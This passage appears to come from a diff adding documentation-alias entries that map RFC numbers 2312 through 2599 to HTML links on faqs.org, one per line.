+                         "RFC2312=<a href=\"http://www.faqs.org/rfcs/rfc2312.html\">RFC 2312</a>" \
+                         "RFC2313=<a href=\"http://www.faqs.org/rfcs/rfc2313.html\">RFC 2313</a>" \
+                         "RFC2314=<a href=\"http://www.faqs.org/rfcs/rfc2314.html\">RFC 2314</a>" \
+                         "RFC2315=<a href=\"http://www.faqs.org/rfcs/rfc2315.html\">RFC 2315</a>" \
+                         "RFC2316=<a href=\"http://www.faqs.org/rfcs/rfc2316.html\">RFC 2316</a>" \
+                         "RFC2317=<a href=\"http://www.faqs.org/rfcs/rfc2317.html\">RFC 2317</a>" \
+                         "RFC2318=<a href=\"http://www.faqs.org/rfcs/rfc2318.html\">RFC 2318</a>" \
+                         "RFC2319=<a href=\"http://www.faqs.org/rfcs/rfc2319.html\">RFC 2319</a>" \
+                         "RFC2320=<a href=\"http://www.faqs.org/rfcs/rfc2320.html\">RFC 2320</a>" \
+                         "RFC2321=<a href=\"http://www.faqs.org/rfcs/rfc2321.html\">RFC 2321</a>" \
+                         "RFC2322=<a href=\"http://www.faqs.org/rfcs/rfc2322.html\">RFC 2322</a>" \
+                         "RFC2323=<a href=\"http://www.faqs.org/rfcs/rfc2323.html\">RFC 2323</a>" \
+                         "RFC2324=<a href=\"http://www.faqs.org/rfcs/rfc2324.html\">RFC 2324</a>" \
+                         "RFC2325=<a href=\"http://www.faqs.org/rfcs/rfc2325.html\">RFC 2325</a>" \
+                         "RFC2326=<a href=\"http://www.faqs.org/rfcs/rfc2326.html\">RFC 2326</a>" \
+                         "RFC2327=<a href=\"http://www.faqs.org/rfcs/rfc2327.html\">RFC 2327</a>" \
+                         "RFC2328=<a href=\"http://www.faqs.org/rfcs/rfc2328.html\">RFC 2328</a>" \
+                         "RFC2329=<a href=\"http://www.faqs.org/rfcs/rfc2329.html\">RFC 2329</a>" \
+                         "RFC2330=<a href=\"http://www.faqs.org/rfcs/rfc2330.html\">RFC 2330</a>" \
+                         "RFC2331=<a href=\"http://www.faqs.org/rfcs/rfc2331.html\">RFC 2331</a>" \
+                         "RFC2332=<a href=\"http://www.faqs.org/rfcs/rfc2332.html\">RFC 2332</a>" \
+                         "RFC2333=<a href=\"http://www.faqs.org/rfcs/rfc2333.html\">RFC 2333</a>" \
+                         "RFC2334=<a href=\"http://www.faqs.org/rfcs/rfc2334.html\">RFC 2334</a>" \
+                         "RFC2335=<a href=\"http://www.faqs.org/rfcs/rfc2335.html\">RFC 2335</a>" \
+                         "RFC2336=<a href=\"http://www.faqs.org/rfcs/rfc2336.html\">RFC 2336</a>" \
+                         "RFC2337=<a href=\"http://www.faqs.org/rfcs/rfc2337.html\">RFC 2337</a>" \
+                         "RFC2338=<a href=\"http://www.faqs.org/rfcs/rfc2338.html\">RFC 2338</a>" \
+                         "RFC2339=<a href=\"http://www.faqs.org/rfcs/rfc2339.html\">RFC 2339</a>" \
+                         "RFC2340=<a href=\"http://www.faqs.org/rfcs/rfc2340.html\">RFC 2340</a>" \
+                         "RFC2341=<a href=\"http://www.faqs.org/rfcs/rfc2341.html\">RFC 2341</a>" \
+                         "RFC2342=<a href=\"http://www.faqs.org/rfcs/rfc2342.html\">RFC 2342</a>" \
+                         "RFC2343=<a href=\"http://www.faqs.org/rfcs/rfc2343.html\">RFC 2343</a>" \
+                         "RFC2344=<a href=\"http://www.faqs.org/rfcs/rfc2344.html\">RFC 2344</a>" \
+                         "RFC2345=<a href=\"http://www.faqs.org/rfcs/rfc2345.html\">RFC 2345</a>" \
+                         "RFC2346=<a href=\"http://www.faqs.org/rfcs/rfc2346.html\">RFC 2346</a>" \
+                         "RFC2347=<a href=\"http://www.faqs.org/rfcs/rfc2347.html\">RFC 2347</a>" \
+                         "RFC2348=<a href=\"http://www.faqs.org/rfcs/rfc2348.html\">RFC 2348</a>" \
+                         "RFC2349=<a href=\"http://www.faqs.org/rfcs/rfc2349.html\">RFC 2349</a>" \
+                         "RFC2350=<a href=\"http://www.faqs.org/rfcs/rfc2350.html\">RFC 2350</a>" \
+                         "RFC2351=<a href=\"http://www.faqs.org/rfcs/rfc2351.html\">RFC 2351</a>" \
+                         "RFC2352=<a href=\"http://www.faqs.org/rfcs/rfc2352.html\">RFC 2352</a>" \
+                         "RFC2353=<a href=\"http://www.faqs.org/rfcs/rfc2353.html\">RFC 2353</a>" \
+                         "RFC2354=<a href=\"http://www.faqs.org/rfcs/rfc2354.html\">RFC 2354</a>" \
+                         "RFC2355=<a href=\"http://www.faqs.org/rfcs/rfc2355.html\">RFC 2355</a>" \
+                         "RFC2356=<a href=\"http://www.faqs.org/rfcs/rfc2356.html\">RFC 2356</a>" \
+                         "RFC2357=<a href=\"http://www.faqs.org/rfcs/rfc2357.html\">RFC 2357</a>" \
+                         "RFC2358=<a href=\"http://www.faqs.org/rfcs/rfc2358.html\">RFC 2358</a>" \
+                         "RFC2359=<a href=\"http://www.faqs.org/rfcs/rfc2359.html\">RFC 2359</a>" \
+                         "RFC2360=<a href=\"http://www.faqs.org/rfcs/rfc2360.html\">RFC 2360</a>" \
+                         "RFC2361=<a href=\"http://www.faqs.org/rfcs/rfc2361.html\">RFC 2361</a>" \
+                         "RFC2362=<a href=\"http://www.faqs.org/rfcs/rfc2362.html\">RFC 2362</a>" \
+                         "RFC2363=<a href=\"http://www.faqs.org/rfcs/rfc2363.html\">RFC 2363</a>" \
+                         "RFC2364=<a href=\"http://www.faqs.org/rfcs/rfc2364.html\">RFC 2364</a>" \
+                         "RFC2365=<a href=\"http://www.faqs.org/rfcs/rfc2365.html\">RFC 2365</a>" \
+                         "RFC2366=<a href=\"http://www.faqs.org/rfcs/rfc2366.html\">RFC 2366</a>" \
+                         "RFC2367=<a href=\"http://www.faqs.org/rfcs/rfc2367.html\">RFC 2367</a>" \
+                         "RFC2368=<a href=\"http://www.faqs.org/rfcs/rfc2368.html\">RFC 2368</a>" \
+                         "RFC2369=<a href=\"http://www.faqs.org/rfcs/rfc2369.html\">RFC 2369</a>" \
+                         "RFC2370=<a href=\"http://www.faqs.org/rfcs/rfc2370.html\">RFC 2370</a>" \
+                         "RFC2371=<a href=\"http://www.faqs.org/rfcs/rfc2371.html\">RFC 2371</a>" \
+                         "RFC2372=<a href=\"http://www.faqs.org/rfcs/rfc2372.html\">RFC 2372</a>" \
+                         "RFC2373=<a href=\"http://www.faqs.org/rfcs/rfc2373.html\">RFC 2373</a>" \
+                         "RFC2374=<a href=\"http://www.faqs.org/rfcs/rfc2374.html\">RFC 2374</a>" \
+                         "RFC2375=<a href=\"http://www.faqs.org/rfcs/rfc2375.html\">RFC 2375</a>" \
+                         "RFC2376=<a href=\"http://www.faqs.org/rfcs/rfc2376.html\">RFC 2376</a>" \
+                         "RFC2377=<a href=\"http://www.faqs.org/rfcs/rfc2377.html\">RFC 2377</a>" \
+                         "RFC2378=<a href=\"http://www.faqs.org/rfcs/rfc2378.html\">RFC 2378</a>" \
+                         "RFC2379=<a href=\"http://www.faqs.org/rfcs/rfc2379.html\">RFC 2379</a>" \
+                         "RFC2380=<a href=\"http://www.faqs.org/rfcs/rfc2380.html\">RFC 2380</a>" \
+                         "RFC2381=<a href=\"http://www.faqs.org/rfcs/rfc2381.html\">RFC 2381</a>" \
+                         "RFC2382=<a href=\"http://www.faqs.org/rfcs/rfc2382.html\">RFC 2382</a>" \
+                         "RFC2383=<a href=\"http://www.faqs.org/rfcs/rfc2383.html\">RFC 2383</a>" \
+                         "RFC2384=<a href=\"http://www.faqs.org/rfcs/rfc2384.html\">RFC 2384</a>" \
+                         "RFC2385=<a href=\"http://www.faqs.org/rfcs/rfc2385.html\">RFC 2385</a>" \
+                         "RFC2386=<a href=\"http://www.faqs.org/rfcs/rfc2386.html\">RFC 2386</a>" \
+                         "RFC2387=<a href=\"http://www.faqs.org/rfcs/rfc2387.html\">RFC 2387</a>" \
+                         "RFC2388=<a href=\"http://www.faqs.org/rfcs/rfc2388.html\">RFC 2388</a>" \
+                         "RFC2389=<a href=\"http://www.faqs.org/rfcs/rfc2389.html\">RFC 2389</a>" \
+                         "RFC2390=<a href=\"http://www.faqs.org/rfcs/rfc2390.html\">RFC 2390</a>" \
+                         "RFC2391=<a href=\"http://www.faqs.org/rfcs/rfc2391.html\">RFC 2391</a>" \
+                         "RFC2392=<a href=\"http://www.faqs.org/rfcs/rfc2392.html\">RFC 2392</a>" \
+                         "RFC2393=<a href=\"http://www.faqs.org/rfcs/rfc2393.html\">RFC 2393</a>" \
+                         "RFC2394=<a href=\"http://www.faqs.org/rfcs/rfc2394.html\">RFC 2394</a>" \
+                         "RFC2395=<a href=\"http://www.faqs.org/rfcs/rfc2395.html\">RFC 2395</a>" \
+                         "RFC2396=<a href=\"http://www.faqs.org/rfcs/rfc2396.html\">RFC 2396</a>" \
+                         "RFC2397=<a href=\"http://www.faqs.org/rfcs/rfc2397.html\">RFC 2397</a>" \
+                         "RFC2398=<a href=\"http://www.faqs.org/rfcs/rfc2398.html\">RFC 2398</a>" \
+                         "RFC2399=<a href=\"http://www.faqs.org/rfcs/rfc2399.html\">RFC 2399</a>" \
+                         "RFC2400=<a href=\"http://www.faqs.org/rfcs/rfc2400.html\">RFC 2400</a>" \
+                         "RFC2401=<a href=\"http://www.faqs.org/rfcs/rfc2401.html\">RFC 2401</a>" \
+                         "RFC2402=<a href=\"http://www.faqs.org/rfcs/rfc2402.html\">RFC 2402</a>" \
+                         "RFC2403=<a href=\"http://www.faqs.org/rfcs/rfc2403.html\">RFC 2403</a>" \
+                         "RFC2404=<a href=\"http://www.faqs.org/rfcs/rfc2404.html\">RFC 2404</a>" \
+                         "RFC2405=<a href=\"http://www.faqs.org/rfcs/rfc2405.html\">RFC 2405</a>" \
+                         "RFC2406=<a href=\"http://www.faqs.org/rfcs/rfc2406.html\">RFC 2406</a>" \
+                         "RFC2407=<a href=\"http://www.faqs.org/rfcs/rfc2407.html\">RFC 2407</a>" \
+                         "RFC2408=<a href=\"http://www.faqs.org/rfcs/rfc2408.html\">RFC 2408</a>" \
+                         "RFC2409=<a href=\"http://www.faqs.org/rfcs/rfc2409.html\">RFC 2409</a>" \
+                         "RFC2410=<a href=\"http://www.faqs.org/rfcs/rfc2410.html\">RFC 2410</a>" \
+                         "RFC2411=<a href=\"http://www.faqs.org/rfcs/rfc2411.html\">RFC 2411</a>" \
+                         "RFC2412=<a href=\"http://www.faqs.org/rfcs/rfc2412.html\">RFC 2412</a>" \
+                         "RFC2413=<a href=\"http://www.faqs.org/rfcs/rfc2413.html\">RFC 2413</a>" \
+                         "RFC2414=<a href=\"http://www.faqs.org/rfcs/rfc2414.html\">RFC 2414</a>" \
+                         "RFC2415=<a href=\"http://www.faqs.org/rfcs/rfc2415.html\">RFC 2415</a>" \
+                         "RFC2416=<a href=\"http://www.faqs.org/rfcs/rfc2416.html\">RFC 2416</a>" \
+                         "RFC2417=<a href=\"http://www.faqs.org/rfcs/rfc2417.html\">RFC 2417</a>" \
+                         "RFC2418=<a href=\"http://www.faqs.org/rfcs/rfc2418.html\">RFC 2418</a>" \
+                         "RFC2419=<a href=\"http://www.faqs.org/rfcs/rfc2419.html\">RFC 2419</a>" \
+                         "RFC2420=<a href=\"http://www.faqs.org/rfcs/rfc2420.html\">RFC 2420</a>" \
+                         "RFC2421=<a href=\"http://www.faqs.org/rfcs/rfc2421.html\">RFC 2421</a>" \
+                         "RFC2422=<a href=\"http://www.faqs.org/rfcs/rfc2422.html\">RFC 2422</a>" \
+                         "RFC2423=<a href=\"http://www.faqs.org/rfcs/rfc2423.html\">RFC 2423</a>" \
+                         "RFC2424=<a href=\"http://www.faqs.org/rfcs/rfc2424.html\">RFC 2424</a>" \
+                         "RFC2425=<a href=\"http://www.faqs.org/rfcs/rfc2425.html\">RFC 2425</a>" \
+                         "RFC2426=<a href=\"http://www.faqs.org/rfcs/rfc2426.html\">RFC 2426</a>" \
+                         "RFC2427=<a href=\"http://www.faqs.org/rfcs/rfc2427.html\">RFC 2427</a>" \
+                         "RFC2428=<a href=\"http://www.faqs.org/rfcs/rfc2428.html\">RFC 2428</a>" \
+                         "RFC2429=<a href=\"http://www.faqs.org/rfcs/rfc2429.html\">RFC 2429</a>" \
+                         "RFC2430=<a href=\"http://www.faqs.org/rfcs/rfc2430.html\">RFC 2430</a>" \
+                         "RFC2431=<a href=\"http://www.faqs.org/rfcs/rfc2431.html\">RFC 2431</a>" \
+                         "RFC2432=<a href=\"http://www.faqs.org/rfcs/rfc2432.html\">RFC 2432</a>" \
+                         "RFC2433=<a href=\"http://www.faqs.org/rfcs/rfc2433.html\">RFC 2433</a>" \
+                         "RFC2434=<a href=\"http://www.faqs.org/rfcs/rfc2434.html\">RFC 2434</a>" \
+                         "RFC2435=<a href=\"http://www.faqs.org/rfcs/rfc2435.html\">RFC 2435</a>" \
+                         "RFC2436=<a href=\"http://www.faqs.org/rfcs/rfc2436.html\">RFC 2436</a>" \
+                         "RFC2437=<a href=\"http://www.faqs.org/rfcs/rfc2437.html\">RFC 2437</a>" \
+                         "RFC2438=<a href=\"http://www.faqs.org/rfcs/rfc2438.html\">RFC 2438</a>" \
+                         "RFC2439=<a href=\"http://www.faqs.org/rfcs/rfc2439.html\">RFC 2439</a>" \
+                         "RFC2440=<a href=\"http://www.faqs.org/rfcs/rfc2440.html\">RFC 2440</a>" \
+                         "RFC2441=<a href=\"http://www.faqs.org/rfcs/rfc2441.html\">RFC 2441</a>" \
+                         "RFC2442=<a href=\"http://www.faqs.org/rfcs/rfc2442.html\">RFC 2442</a>" \
+                         "RFC2443=<a href=\"http://www.faqs.org/rfcs/rfc2443.html\">RFC 2443</a>" \
+                         "RFC2444=<a href=\"http://www.faqs.org/rfcs/rfc2444.html\">RFC 2444</a>" \
+                         "RFC2445=<a href=\"http://www.faqs.org/rfcs/rfc2445.html\">RFC 2445</a>" \
+                         "RFC2446=<a href=\"http://www.faqs.org/rfcs/rfc2446.html\">RFC 2446</a>" \
+                         "RFC2447=<a href=\"http://www.faqs.org/rfcs/rfc2447.html\">RFC 2447</a>" \
+                         "RFC2448=<a href=\"http://www.faqs.org/rfcs/rfc2448.html\">RFC 2448</a>" \
+                         "RFC2449=<a href=\"http://www.faqs.org/rfcs/rfc2449.html\">RFC 2449</a>" \
+                         "RFC2450=<a href=\"http://www.faqs.org/rfcs/rfc2450.html\">RFC 2450</a>" \
+                         "RFC2451=<a href=\"http://www.faqs.org/rfcs/rfc2451.html\">RFC 2451</a>" \
+                         "RFC2452=<a href=\"http://www.faqs.org/rfcs/rfc2452.html\">RFC 2452</a>" \
+                         "RFC2453=<a href=\"http://www.faqs.org/rfcs/rfc2453.html\">RFC 2453</a>" \
+                         "RFC2454=<a href=\"http://www.faqs.org/rfcs/rfc2454.html\">RFC 2454</a>" \
+                         "RFC2455=<a href=\"http://www.faqs.org/rfcs/rfc2455.html\">RFC 2455</a>" \
+                         "RFC2456=<a href=\"http://www.faqs.org/rfcs/rfc2456.html\">RFC 2456</a>" \
+                         "RFC2457=<a href=\"http://www.faqs.org/rfcs/rfc2457.html\">RFC 2457</a>" \
+                         "RFC2458=<a href=\"http://www.faqs.org/rfcs/rfc2458.html\">RFC 2458</a>" \
+                         "RFC2459=<a href=\"http://www.faqs.org/rfcs/rfc2459.html\">RFC 2459</a>" \
+                         "RFC2460=<a href=\"http://www.faqs.org/rfcs/rfc2460.html\">RFC 2460</a>" \
+                         "RFC2461=<a href=\"http://www.faqs.org/rfcs/rfc2461.html\">RFC 2461</a>" \
+                         "RFC2462=<a href=\"http://www.faqs.org/rfcs/rfc2462.html\">RFC 2462</a>" \
+                         "RFC2463=<a href=\"http://www.faqs.org/rfcs/rfc2463.html\">RFC 2463</a>" \
+                         "RFC2464=<a href=\"http://www.faqs.org/rfcs/rfc2464.html\">RFC 2464</a>" \
+                         "RFC2465=<a href=\"http://www.faqs.org/rfcs/rfc2465.html\">RFC 2465</a>" \
+                         "RFC2466=<a href=\"http://www.faqs.org/rfcs/rfc2466.html\">RFC 2466</a>" \
+                         "RFC2467=<a href=\"http://www.faqs.org/rfcs/rfc2467.html\">RFC 2467</a>" \
+                         "RFC2468=<a href=\"http://www.faqs.org/rfcs/rfc2468.html\">RFC 2468</a>" \
+                         "RFC2469=<a href=\"http://www.faqs.org/rfcs/rfc2469.html\">RFC 2469</a>" \
+                         "RFC2470=<a href=\"http://www.faqs.org/rfcs/rfc2470.html\">RFC 2470</a>" \
+                         "RFC2471=<a href=\"http://www.faqs.org/rfcs/rfc2471.html\">RFC 2471</a>" \
+                         "RFC2472=<a href=\"http://www.faqs.org/rfcs/rfc2472.html\">RFC 2472</a>" \
+                         "RFC2473=<a href=\"http://www.faqs.org/rfcs/rfc2473.html\">RFC 2473</a>" \
+                         "RFC2474=<a href=\"http://www.faqs.org/rfcs/rfc2474.html\">RFC 2474</a>" \
+                         "RFC2475=<a href=\"http://www.faqs.org/rfcs/rfc2475.html\">RFC 2475</a>" \
+                         "RFC2476=<a href=\"http://www.faqs.org/rfcs/rfc2476.html\">RFC 2476</a>" \
+                         "RFC2477=<a href=\"http://www.faqs.org/rfcs/rfc2477.html\">RFC 2477</a>" \
+                         "RFC2478=<a href=\"http://www.faqs.org/rfcs/rfc2478.html\">RFC 2478</a>" \
+                         "RFC2479=<a href=\"http://www.faqs.org/rfcs/rfc2479.html\">RFC 2479</a>" \
+                         "RFC2480=<a href=\"http://www.faqs.org/rfcs/rfc2480.html\">RFC 2480</a>" \
+                         "RFC2481=<a href=\"http://www.faqs.org/rfcs/rfc2481.html\">RFC 2481</a>" \
+                         "RFC2482=<a href=\"http://www.faqs.org/rfcs/rfc2482.html\">RFC 2482</a>" \
+                         "RFC2483=<a href=\"http://www.faqs.org/rfcs/rfc2483.html\">RFC 2483</a>" \
+                         "RFC2484=<a href=\"http://www.faqs.org/rfcs/rfc2484.html\">RFC 2484</a>" \
+                         "RFC2485=<a href=\"http://www.faqs.org/rfcs/rfc2485.html\">RFC 2485</a>" \
+                         "RFC2486=<a href=\"http://www.faqs.org/rfcs/rfc2486.html\">RFC 2486</a>" \
+                         "RFC2487=<a href=\"http://www.faqs.org/rfcs/rfc2487.html\">RFC 2487</a>" \
+                         "RFC2488=<a href=\"http://www.faqs.org/rfcs/rfc2488.html\">RFC 2488</a>" \
+                         "RFC2489=<a href=\"http://www.faqs.org/rfcs/rfc2489.html\">RFC 2489</a>" \
+                         "RFC2490=<a href=\"http://www.faqs.org/rfcs/rfc2490.html\">RFC 2490</a>" \
+                         "RFC2491=<a href=\"http://www.faqs.org/rfcs/rfc2491.html\">RFC 2491</a>" \
+                         "RFC2492=<a href=\"http://www.faqs.org/rfcs/rfc2492.html\">RFC 2492</a>" \
+                         "RFC2493=<a href=\"http://www.faqs.org/rfcs/rfc2493.html\">RFC 2493</a>" \
+                         "RFC2494=<a href=\"http://www.faqs.org/rfcs/rfc2494.html\">RFC 2494</a>" \
+                         "RFC2495=<a href=\"http://www.faqs.org/rfcs/rfc2495.html\">RFC 2495</a>" \
+                         "RFC2496=<a href=\"http://www.faqs.org/rfcs/rfc2496.html\">RFC 2496</a>" \
+                         "RFC2497=<a href=\"http://www.faqs.org/rfcs/rfc2497.html\">RFC 2497</a>" \
+                         "RFC2498=<a href=\"http://www.faqs.org/rfcs/rfc2498.html\">RFC 2498</a>" \
+                         "RFC2499=<a href=\"http://www.faqs.org/rfcs/rfc2499.html\">RFC 2499</a>" \
+                         "RFC2500=<a href=\"http://www.faqs.org/rfcs/rfc2500.html\">RFC 2500</a>" \
+                         "RFC2501=<a href=\"http://www.faqs.org/rfcs/rfc2501.html\">RFC 2501</a>" \
+                         "RFC2502=<a href=\"http://www.faqs.org/rfcs/rfc2502.html\">RFC 2502</a>" \
+                         "RFC2503=<a href=\"http://www.faqs.org/rfcs/rfc2503.html\">RFC 2503</a>" \
+                         "RFC2504=<a href=\"http://www.faqs.org/rfcs/rfc2504.html\">RFC 2504</a>" \
+                         "RFC2505=<a href=\"http://www.faqs.org/rfcs/rfc2505.html\">RFC 2505</a>" \
+                         "RFC2506=<a href=\"http://www.faqs.org/rfcs/rfc2506.html\">RFC 2506</a>" \
+                         "RFC2507=<a href=\"http://www.faqs.org/rfcs/rfc2507.html\">RFC 2507</a>" \
+                         "RFC2508=<a href=\"http://www.faqs.org/rfcs/rfc2508.html\">RFC 2508</a>" \
+                         "RFC2509=<a href=\"http://www.faqs.org/rfcs/rfc2509.html\">RFC 2509</a>" \
+                         "RFC2510=<a href=\"http://www.faqs.org/rfcs/rfc2510.html\">RFC 2510</a>" \
+                         "RFC2511=<a href=\"http://www.faqs.org/rfcs/rfc2511.html\">RFC 2511</a>" \
+                         "RFC2512=<a href=\"http://www.faqs.org/rfcs/rfc2512.html\">RFC 2512</a>" \
+                         "RFC2513=<a href=\"http://www.faqs.org/rfcs/rfc2513.html\">RFC 2513</a>" \
+                         "RFC2514=<a href=\"http://www.faqs.org/rfcs/rfc2514.html\">RFC 2514</a>" \
+                         "RFC2515=<a href=\"http://www.faqs.org/rfcs/rfc2515.html\">RFC 2515</a>" \
+                         "RFC2516=<a href=\"http://www.faqs.org/rfcs/rfc2516.html\">RFC 2516</a>" \
+                         "RFC2517=<a href=\"http://www.faqs.org/rfcs/rfc2517.html\">RFC 2517</a>" \
+                         "RFC2518=<a href=\"http://www.faqs.org/rfcs/rfc2518.html\">RFC 2518</a>" \
+                         "RFC2519=<a href=\"http://www.faqs.org/rfcs/rfc2519.html\">RFC 2519</a>" \
+                         "RFC2520=<a href=\"http://www.faqs.org/rfcs/rfc2520.html\">RFC 2520</a>" \
+                         "RFC2521=<a href=\"http://www.faqs.org/rfcs/rfc2521.html\">RFC 2521</a>" \
+                         "RFC2522=<a href=\"http://www.faqs.org/rfcs/rfc2522.html\">RFC 2522</a>" \
+                         "RFC2523=<a href=\"http://www.faqs.org/rfcs/rfc2523.html\">RFC 2523</a>" \
+                         "RFC2524=<a href=\"http://www.faqs.org/rfcs/rfc2524.html\">RFC 2524</a>" \
+                         "RFC2525=<a href=\"http://www.faqs.org/rfcs/rfc2525.html\">RFC 2525</a>" \
+                         "RFC2526=<a href=\"http://www.faqs.org/rfcs/rfc2526.html\">RFC 2526</a>" \
+                         "RFC2527=<a href=\"http://www.faqs.org/rfcs/rfc2527.html\">RFC 2527</a>" \
+                         "RFC2528=<a href=\"http://www.faqs.org/rfcs/rfc2528.html\">RFC 2528</a>" \
+                         "RFC2529=<a href=\"http://www.faqs.org/rfcs/rfc2529.html\">RFC 2529</a>" \
+                         "RFC2530=<a href=\"http://www.faqs.org/rfcs/rfc2530.html\">RFC 2530</a>" \
+                         "RFC2531=<a href=\"http://www.faqs.org/rfcs/rfc2531.html\">RFC 2531</a>" \
+                         "RFC2532=<a href=\"http://www.faqs.org/rfcs/rfc2532.html\">RFC 2532</a>" \
+                         "RFC2533=<a href=\"http://www.faqs.org/rfcs/rfc2533.html\">RFC 2533</a>" \
+                         "RFC2534=<a href=\"http://www.faqs.org/rfcs/rfc2534.html\">RFC 2534</a>" \
+                         "RFC2535=<a href=\"http://www.faqs.org/rfcs/rfc2535.html\">RFC 2535</a>" \
+                         "RFC2536=<a href=\"http://www.faqs.org/rfcs/rfc2536.html\">RFC 2536</a>" \
+                         "RFC2537=<a href=\"http://www.faqs.org/rfcs/rfc2537.html\">RFC 2537</a>" \
+                         "RFC2538=<a href=\"http://www.faqs.org/rfcs/rfc2538.html\">RFC 2538</a>" \
+                         "RFC2539=<a href=\"http://www.faqs.org/rfcs/rfc2539.html\">RFC 2539</a>" \
+                         "RFC2540=<a href=\"http://www.faqs.org/rfcs/rfc2540.html\">RFC 2540</a>" \
+                         "RFC2541=<a href=\"http://www.faqs.org/rfcs/rfc2541.html\">RFC 2541</a>" \
+                         "RFC2542=<a href=\"http://www.faqs.org/rfcs/rfc2542.html\">RFC 2542</a>" \
+                         "RFC2543=<a href=\"http://www.faqs.org/rfcs/rfc2543.html\">RFC 2543</a>" \
+                         "RFC2544=<a href=\"http://www.faqs.org/rfcs/rfc2544.html\">RFC 2544</a>" \
+                         "RFC2545=<a href=\"http://www.faqs.org/rfcs/rfc2545.html\">RFC 2545</a>" \
+                         "RFC2546=<a href=\"http://www.faqs.org/rfcs/rfc2546.html\">RFC 2546</a>" \
+                         "RFC2547=<a href=\"http://www.faqs.org/rfcs/rfc2547.html\">RFC 2547</a>" \
+                         "RFC2548=<a href=\"http://www.faqs.org/rfcs/rfc2548.html\">RFC 2548</a>" \
+                         "RFC2549=<a href=\"http://www.faqs.org/rfcs/rfc2549.html\">RFC 2549</a>" \
+                         "RFC2550=<a href=\"http://www.faqs.org/rfcs/rfc2550.html\">RFC 2550</a>" \
+                         "RFC2551=<a href=\"http://www.faqs.org/rfcs/rfc2551.html\">RFC 2551</a>" \
+                         "RFC2552=<a href=\"http://www.faqs.org/rfcs/rfc2552.html\">RFC 2552</a>" \
+                         "RFC2553=<a href=\"http://www.faqs.org/rfcs/rfc2553.html\">RFC 2553</a>" \
+                         "RFC2554=<a href=\"http://www.faqs.org/rfcs/rfc2554.html\">RFC 2554</a>" \
+                         "RFC2555=<a href=\"http://www.faqs.org/rfcs/rfc2555.html\">RFC 2555</a>" \
+                         "RFC2556=<a href=\"http://www.faqs.org/rfcs/rfc2556.html\">RFC 2556</a>" \
+                         "RFC2557=<a href=\"http://www.faqs.org/rfcs/rfc2557.html\">RFC 2557</a>" \
+                         "RFC2558=<a href=\"http://www.faqs.org/rfcs/rfc2558.html\">RFC 2558</a>" \
+                         "RFC2559=<a href=\"http://www.faqs.org/rfcs/rfc2559.html\">RFC 2559</a>" \
+                         "RFC2560=<a href=\"http://www.faqs.org/rfcs/rfc2560.html\">RFC 2560</a>" \
+                         "RFC2561=<a href=\"http://www.faqs.org/rfcs/rfc2561.html\">RFC 2561</a>" \
+                         "RFC2562=<a href=\"http://www.faqs.org/rfcs/rfc2562.html\">RFC 2562</a>" \
+                         "RFC2563=<a href=\"http://www.faqs.org/rfcs/rfc2563.html\">RFC 2563</a>" \
+                         "RFC2564=<a href=\"http://www.faqs.org/rfcs/rfc2564.html\">RFC 2564</a>" \
+                         "RFC2565=<a href=\"http://www.faqs.org/rfcs/rfc2565.html\">RFC 2565</a>" \
+                         "RFC2566=<a href=\"http://www.faqs.org/rfcs/rfc2566.html\">RFC 2566</a>" \
+                         "RFC2567=<a href=\"http://www.faqs.org/rfcs/rfc2567.html\">RFC 2567</a>" \
+                         "RFC2568=<a href=\"http://www.faqs.org/rfcs/rfc2568.html\">RFC 2568</a>" \
+                         "RFC2569=<a href=\"http://www.faqs.org/rfcs/rfc2569.html\">RFC 2569</a>" \
+                         "RFC2570=<a href=\"http://www.faqs.org/rfcs/rfc2570.html\">RFC 2570</a>" \
+                         "RFC2571=<a href=\"http://www.faqs.org/rfcs/rfc2571.html\">RFC 2571</a>" \
+                         "RFC2572=<a href=\"http://www.faqs.org/rfcs/rfc2572.html\">RFC 2572</a>" \
+                         "RFC2573=<a href=\"http://www.faqs.org/rfcs/rfc2573.html\">RFC 2573</a>" \
+                         "RFC2574=<a href=\"http://www.faqs.org/rfcs/rfc2574.html\">RFC 2574</a>" \
+                         "RFC2575=<a href=\"http://www.faqs.org/rfcs/rfc2575.html\">RFC 2575</a>" \
+                         "RFC2576=<a href=\"http://www.faqs.org/rfcs/rfc2576.html\">RFC 2576</a>" \
+                         "RFC2577=<a href=\"http://www.faqs.org/rfcs/rfc2577.html\">RFC 2577</a>" \
+                         "RFC2578=<a href=\"http://www.faqs.org/rfcs/rfc2578.html\">RFC 2578</a>" \
+                         "RFC2579=<a href=\"http://www.faqs.org/rfcs/rfc2579.html\">RFC 2579</a>" \
+                         "RFC2580=<a href=\"http://www.faqs.org/rfcs/rfc2580.html\">RFC 2580</a>" \
+                         "RFC2581=<a href=\"http://www.faqs.org/rfcs/rfc2581.html\">RFC 2581</a>" \
+                         "RFC2582=<a href=\"http://www.faqs.org/rfcs/rfc2582.html\">RFC 2582</a>" \
+                         "RFC2583=<a href=\"http://www.faqs.org/rfcs/rfc2583.html\">RFC 2583</a>" \
+                         "RFC2584=<a href=\"http://www.faqs.org/rfcs/rfc2584.html\">RFC 2584</a>" \
+                         "RFC2585=<a href=\"http://www.faqs.org/rfcs/rfc2585.html\">RFC 2585</a>" \
+                         "RFC2586=<a href=\"http://www.faqs.org/rfcs/rfc2586.html\">RFC 2586</a>" \
+                         "RFC2587=<a href=\"http://www.faqs.org/rfcs/rfc2587.html\">RFC 2587</a>" \
+                         "RFC2588=<a href=\"http://www.faqs.org/rfcs/rfc2588.html\">RFC 2588</a>" \
+                         "RFC2589=<a href=\"http://www.faqs.org/rfcs/rfc2589.html\">RFC 2589</a>" \
+                         "RFC2590=<a href=\"http://www.faqs.org/rfcs/rfc2590.html\">RFC 2590</a>" \
+                         "RFC2591=<a href=\"http://www.faqs.org/rfcs/rfc2591.html\">RFC 2591</a>" \
+                         "RFC2592=<a href=\"http://www.faqs.org/rfcs/rfc2592.html\">RFC 2592</a>" \
+                         "RFC2593=<a href=\"http://www.faqs.org/rfcs/rfc2593.html\">RFC 2593</a>" \
+                         "RFC2594=<a href=\"http://www.faqs.org/rfcs/rfc2594.html\">RFC 2594</a>" \
+                         "RFC2595=<a href=\"http://www.faqs.org/rfcs/rfc2595.html\">RFC 2595</a>" \
+                         "RFC2596=<a href=\"http://www.faqs.org/rfcs/rfc2596.html\">RFC 2596</a>" \
+                         "RFC2597=<a href=\"http://www.faqs.org/rfcs/rfc2597.html\">RFC 2597</a>" \
+                         "RFC2598=<a href=\"http://www.faqs.org/rfcs/rfc2598.html\">RFC 2598</a>" \
+                         "RFC2599=<a href=\"http://www.faqs.org/rfcs/rfc2599.html\">RFC 2599</a>" \
